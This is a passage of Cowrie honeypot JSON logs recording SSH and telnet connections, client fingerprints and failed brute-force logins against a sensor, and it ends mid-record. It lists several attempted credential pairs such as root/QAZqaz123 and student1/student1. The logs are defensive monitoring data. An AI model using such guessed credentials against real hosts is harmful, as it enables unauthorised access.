{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:30:21.065416Z","src_ip":"103.183.114.55","session":"657f28856723","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kontakt","message":"login attempt [root/kontakt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:30:21.761915Z","src_ip":"103.183.114.55","session":"657f28856723","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00219464302063,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:30:22.629605Z","src_ip":"152.42.224.71","session":"eee1914a078e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:30:22.993532Z","src_ip":"103.183.114.55","session":"657f28856723","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00245952606201,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:30:24.169598Z","src_ip":"152.42.224.71","session":"517acafdc82a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40854,"dst_ip":"10.17.0.5","dst_port":23,"session":"263a1c6ef150","protocol":"telnet","message":"New connection: 152.42.224.71:40854 (10.17.0.5:23) [session: 263a1c6ef150]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:30:30.228834Z"}
{"eventid":"cowrie.session.closed","duration":120.00265717506409,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:30:31.196004Z","src_ip":"152.42.224.71","session":"5fde27c648c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.62.188","src_port":35900,"dst_ip":"159.203.135.109","dst_port":22,"session":"9da0f1b104e0","protocol":"ssh","message":"New connection: 43.133.62.188:35900 (159.203.135.109:22) [session: 9da0f1b104e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:30:40.192380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:30:40.197249Z","src_ip":"43.133.62.188","session":"9da0f1b104e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:30:40.435280Z","src_ip":"43.133.62.188","session":"9da0f1b104e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52456,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a89fedebb7c","protocol":"telnet","message":"New connection: 152.42.224.71:52456 (10.17.0.5:23) [session: 3a89fedebb7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:30:41.257844Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"QAZqaz123","message":"login attempt [root/QAZqaz123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:30:41.418071Z","src_ip":"43.133.62.188","session":"9da0f1b104e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:30:42.659941Z","src_ip":"43.133.62.188","session":"9da0f1b104e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43338,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f2ee33c005d","protocol":"telnet","message":"New connection: 152.42.224.71:43338 (10.17.0.5:23) [session: 9f2ee33c005d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:30:48.335413Z"}
{"eventid":"cowrie.session.closed","duration":59.02003502845764,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:30:53.245317Z","src_ip":"152.42.224.71","session":"d9b18cfc3ac4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.188.177.46","src_port":51350,"dst_ip":"159.203.135.109","dst_port":22,"session":"98d2d328bdf7","protocol":"ssh","message":"New connection: 103.188.177.46:51350 (159.203.135.109:22) [session: 98d2d328bdf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:30:53.410629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:30:53.415382Z","src_ip":"103.188.177.46","session":"98d2d328bdf7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:30:53.653833Z","src_ip":"103.188.177.46","session":"98d2d328bdf7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.63377070426941,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:30:54.435025Z","src_ip":"152.42.224.71","session":"8ff28cdec40d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"student1","password":"student1","message":"login attempt [student1/student1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:30:54.639588Z","src_ip":"103.188.177.46","session":"98d2d328bdf7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:30:55.880548Z","src_ip":"103.188.177.46","session":"98d2d328bdf7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41106,"dst_ip":"10.17.0.5","dst_port":23,"session":"d112911b3f60","protocol":"telnet","message":"New connection: 152.42.224.71:41106 (10.17.0.5:23) [session: d112911b3f60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:30:58.624221Z"}
{"eventid":"cowrie.session.closed","duration":55.335553884506226,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:31:01.602230Z","src_ip":"152.42.224.71","session":"a5d0e27520e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41118,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a73088b172f","protocol":"telnet","message":"New connection: 152.42.224.71:41118 (10.17.0.5:23) [session: 7a73088b172f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:31:01.878103Z"}
{"eventid":"cowrie.session.closed","duration":43.31028962135315,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:31:02.303503Z","src_ip":"152.42.224.71","session":"a9f5dbd5be76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41132,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca82c267880c","protocol":"telnet","message":"New connection: 152.42.224.71:41132 (10.17.0.5:23) [session: ca82c267880c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:31:04.518414Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42532,"dst_ip":"10.17.0.5","dst_port":23,"session":"57813fb3e261","protocol":"telnet","message":"New connection: 152.42.224.71:42532 (10.17.0.5:23) [session: 57813fb3e261]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:31:10.275509Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42538,"dst_ip":"10.17.0.5","dst_port":23,"session":"479039a9093b","protocol":"telnet","message":"New connection: 152.42.224.71:42538 (10.17.0.5:23) [session: 479039a9093b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:31:11.882695Z"}
{"eventid":"cowrie.session.closed","duration":39.39456844329834,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:31:20.652303Z","src_ip":"152.42.224.71","session":"3a89fedebb7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39644,"dst_ip":"10.17.0.5","dst_port":23,"session":"f363a70c06d1","protocol":"telnet","message":"New connection: 152.42.224.71:39644 (10.17.0.5:23) [session: f363a70c06d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:31:24.130307Z"}
{"eventid":"cowrie.session.closed","duration":39.62276601791382,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:31:27.957828Z","src_ip":"152.42.224.71","session":"9f2ee33c005d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.00840663909912,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:31:30.632448Z","src_ip":"152.42.224.71","session":"d112911b3f60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33376,"dst_ip":"10.17.0.5","dst_port":23,"session":"5536758960d7","protocol":"telnet","message":"New connection: 152.42.224.71:33376 (10.17.0.5:23) [session: 5536758960d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:31:33.912392Z"}
{"eventid":"cowrie.session.closed","duration":68.77978563308716,"message":"Connection lost after 68 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:31:39.008490Z","src_ip":"152.42.224.71","session":"263a1c6ef150","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.42732357978821,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:31:43.945630Z","src_ip":"152.42.224.71","session":"ca82c267880c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.880398988723755,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:31:50.758317Z","src_ip":"152.42.224.71","session":"7a73088b172f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.97518563270569,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:31:50.857759Z","src_ip":"152.42.224.71","session":"479039a9093b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.225470542907715,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:31:51.500850Z","src_ip":"152.42.224.71","session":"57813fb3e261","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43280,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f6f0a97dc66","protocol":"telnet","message":"New connection: 152.42.224.71:43280 (10.17.0.5:23) [session: 5f6f0a97dc66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:31:54.040052Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":49304,"dst_ip":"10.17.0.5","dst_port":22,"session":"7340de25d242","protocol":"ssh","message":"New connection: 80.94.92.171:49304 (10.17.0.5:22) [session: 7340de25d242]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:31:59.600026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:31:59.858634Z","src_ip":"80.94.92.171","session":"7340de25d242","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:31:59.864307Z","src_ip":"80.94.92.171","session":"7340de25d242","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:32:01.374406Z","src_ip":"80.94.92.171","session":"7340de25d242","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:32:02.484340Z","src_ip":"80.94.92.171","session":"7340de25d242","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50670,"dst_ip":"10.17.0.5","dst_port":23,"session":"61f85b1c62af","protocol":"telnet","message":"New connection: 152.42.224.71:50670 (10.17.0.5:23) [session: 61f85b1c62af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:32:14.826120Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46118,"dst_ip":"10.17.0.5","dst_port":23,"session":"44ed3d7e7f20","protocol":"telnet","message":"New connection: 152.42.224.71:46118 (10.17.0.5:23) [session: 44ed3d7e7f20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:32:16.872882Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46130,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a47dda8b2cc","protocol":"telnet","message":"New connection: 152.42.224.71:46130 (10.17.0.5:23) [session: 9a47dda8b2cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:32:17.622459Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46132,"dst_ip":"10.17.0.5","dst_port":23,"session":"80ef5dbe8a58","protocol":"telnet","message":"New connection: 152.42.224.71:46132 (10.17.0.5:23) [session: 80ef5dbe8a58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:32:24.072923Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46138,"dst_ip":"10.17.0.5","dst_port":23,"session":"a62ebeb4c37d","protocol":"telnet","message":"New connection: 152.42.224.71:46138 (10.17.0.5:23) [session: a62ebeb4c37d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:32:25.260323Z"}
{"eventid":"cowrie.session.closed","duration":11.508866786956787,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:32:35.581669Z","src_ip":"152.42.224.71","session":"80ef5dbe8a58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43988,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2524cddef8c","protocol":"telnet","message":"New connection: 152.42.224.71:43988 (10.17.0.5:23) [session: d2524cddef8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:32:42.634051Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44000,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd7f3003ffd5","protocol":"telnet","message":"New connection: 152.42.224.71:44000 (10.17.0.5:23) [session: cd7f3003ffd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:32:44.042940Z"}
{"eventid":"cowrie.session.closed","duration":29.786065816879272,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:32:47.408430Z","src_ip":"152.42.224.71","session":"9a47dda8b2cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":57.85704708099365,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:32:51.896940Z","src_ip":"152.42.224.71","session":"5f6f0a97dc66","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.74289274215698,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:32:52.615676Z","src_ip":"152.42.224.71","session":"44ed3d7e7f20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58316,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b8a2007d0ec","protocol":"telnet","message":"New connection: 152.42.224.71:58316 (10.17.0.5:23) [session: 0b8a2007d0ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:32:57.306154Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58324,"dst_ip":"10.17.0.5","dst_port":23,"session":"13356926b624","protocol":"telnet","message":"New connection: 152.42.224.71:58324 (10.17.0.5:23) [session: 13356926b624]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:33:05.574985Z"}
{"eventid":"cowrie.session.closed","duration":51.868414878845215,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:33:06.694409Z","src_ip":"152.42.224.71","session":"61f85b1c62af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.453370809555054,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:33:08.713524Z","src_ip":"152.42.224.71","session":"a62ebeb4c37d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.148.92","src_port":34994,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a54143ec969","protocol":"ssh","message":"New connection: 102.210.148.92:34994 (159.203.135.109:22) [session: 4a54143ec969]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:33:14.112228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:33:14.117846Z","src_ip":"102.210.148.92","session":"4a54143ec969","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hell